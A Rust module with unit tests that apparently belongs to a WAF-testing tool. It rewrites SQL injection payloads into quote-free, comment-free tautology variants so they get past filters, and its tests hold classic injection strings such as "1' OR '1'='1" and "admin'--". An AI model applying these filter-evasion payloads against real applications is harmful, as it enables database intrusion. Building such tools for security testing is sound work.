use crate::grammar::sql::common::SqlMutation;
const QUOTE_FREE_TAUTOLOGIES: &[&str] = &[
"1=1",
"1 IS NOT NULL",
"1 IN(1)",
"1 BETWEEN 0 AND 9",
"1<2",
"TRUE",
"1 LIKE 1",
"NOT 1=0",
"2>1",
"1 IN(1,2,3)",
];
#[must_use]
pub fn mutations(payload: &str, max_mutations: usize) -> Vec<SqlMutation> {
let mut out = Vec::new();
if payload.is_empty() || max_mutations == 0 {
return out;
}
let decoded = urlencoding::decode(payload).map_or_else(|_| payload.to_string(), std::borrow::Cow::into_owned);
let lower = decoded.to_ascii_lowercase();
let connector = if lower.contains("' or ")
|| lower.contains("\" or ")
|| lower.contains(" or 1=1")
|| lower.contains(" or '1'")
|| lower.starts_with("or ")
{
Some("OR")
} else if lower.contains("' and ") || lower.contains("\" and ") || lower.contains(" and 1=1") {
Some("AND")
} else {
None
};
if let Some(conn) = connector {
for taut in QUOTE_FREE_TAUTOLOGIES {
if out.len() >= max_mutations {
break;
}
out.push(SqlMutation {
payload: format!("1 {conn} {taut}"),
description: format!("quote-free {conn} {taut}"),
rules_applied: vec!["quote_free_tautology"],
});
}
}
if lower.contains("--") || lower.contains('#') || lower.contains("/*") {
for taut in QUOTE_FREE_TAUTOLOGIES
.iter()
.take(max_mutations.saturating_sub(out.len()))
{
if out.len() >= max_mutations {
break;
}
out.push(SqlMutation {
payload: format!("1 OR {taut}"),
description: format!("strip comment + tautology {taut}"),
rules_applied: vec!["quote_free_strip_comment"],
});
}
}
let structured = lower.contains("union")
|| lower.contains("select ")
|| lower.contains(';')
|| lower.contains("extractvalue")
|| lower.contains("updatexml")
|| lower.contains("sleep(")
|| lower.contains("benchmark(")
|| lower.contains("waitfor ");
if !structured
&& (lower.contains("admin")
|| lower.contains("root")
|| (lower.starts_with('\'') && lower.ends_with("--")))
{
for taut in QUOTE_FREE_TAUTOLOGIES.iter().take(2) {
if out.len() >= max_mutations {
break;
}
out.push(SqlMutation {
payload: (*taut).to_string(),
description: format!("bare tautology {taut}"),
rules_applied: vec!["quote_free_bare"],
});
}
}
if payload.contains('(') && payload.contains(')') {
let unwrapped = payload
.replace("(1)", "1")
.replace("(1=1)", "1=1")
.replace("('1')", "1");
if unwrapped != payload && out.len() < max_mutations {
out.push(SqlMutation {
payload: unwrapped,
description: "unwrap parens".into(),
rules_applied: vec!["quote_free_unparen"],
});
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
fn payloads(out: &[SqlMutation]) -> Vec<&str> {
out.iter().map(|m| m.payload.as_str()).collect()
}
#[test]
fn classic_or_injection_gets_quote_free_rewrite() {
let out = mutations("1' OR '1'='1", 20);
assert!(!out.is_empty());
let p = payloads(&out);
for v in &p {
assert!(!v.contains('\''), "still has quote: {v}");
assert!(!v.contains('"'), "still has dquote: {v}");
assert!(!v.contains("--"), "still has comment: {v}");
assert!(!v.contains("/*"), "still has block-comment: {v}");
}
assert!(
p.iter()
.any(|v| v.contains("1=1") || v.contains("IS NOT NULL"))
);
}
#[test]
fn comment_terminator_payload_strips_comment() {
let out = mutations("'admin'--", 20);
assert!(!out.is_empty());
for m in &out {
assert!(!m.payload.contains("--"));
assert!(!m.payload.contains('\''));
}
}
#[test]
fn and_injection_uses_and_keyword() {
let out = mutations("1' AND 1=1--", 20);
assert!(out.iter().any(|m| m.payload.contains(" AND ")));
}
#[test]
fn empty_input_yields_empty() {
assert!(mutations("", 10).is_empty());
assert!(mutations("foo", 0).is_empty());
}
#[test]
fn max_mutations_bounded() {
let out = mutations("1' OR 1=1--", 3);
assert!(out.len() <= 3, "exceeded cap: {}", out.len());
}
#[test]
fn unparen_emits_paren_free() {
let out = mutations("(1) OR (1=1)", 20);
let p = payloads(&out);
assert!(
p.iter()
.any(|v| v == &"1 OR 1=1" || (!v.contains('(') && v.contains("OR")))
);
}
#[test]
fn rules_applied_metadata_present() {
let out = mutations("1' OR 1=1--", 10);
for m in &out {
assert!(!m.rules_applied.is_empty());
assert!(m.rules_applied[0].starts_with("quote_free"));
}
}
#[test]
fn description_is_human_readable() {
let out = mutations("1' OR 1=1--", 5);
for m in &out {
assert!(!m.description.is_empty());
assert!(
m.description.contains("quote-free")
|| m.description.contains("strip")
|| m.description.contains("tautology"),
"weak description: {}",
m.description
);
}
}
#[test]
fn non_sql_input_yields_zero() {
let out = mutations("hello world", 10);
assert!(out.is_empty(), "expected empty for non-SQL, got {out:?}");
}
#[test]
fn url_encoded_input_is_recognised() {
let encoded = "1%27%20OR%20%271%27%3D%271";
let out = mutations(encoded, 10);
assert!(
!out.is_empty(),
"URL-encoded boolean-OR injection not recognised; quote_free won't fire on bench-waf wire payloads"
);
for v in &out {
assert!(!v.payload.contains('\''));
assert!(!v.payload.contains("--"));
}
}
#[test]
fn pathological_input_doesnt_panic() {
for p in &[
"",
"%",
"%%%",
"%2",
"%XX",
"\x00\x01\x02",
"a' OR 1\x00=1",
"/*\x00*/",
] {
let _ = mutations(p, 10);
}
}
#[test]
fn dump_for_real_corpus_payloads() {
let payloads = [
"1' OR '1'='1",
"' AND 1=1--",
"1' UNION SELECT 1--",
"admin'--",
"1%27%20OR%20%271%27%3D%271",
];
for p in payloads {
eprintln!("--- input: {p} ---");
let muts = mutations(p, 10);
for m in &muts {
eprintln!(" -> {} | {}", m.payload, m.description);
}
if muts.is_empty() {
eprintln!(" (no quote_free mutations)");
}
}
}
}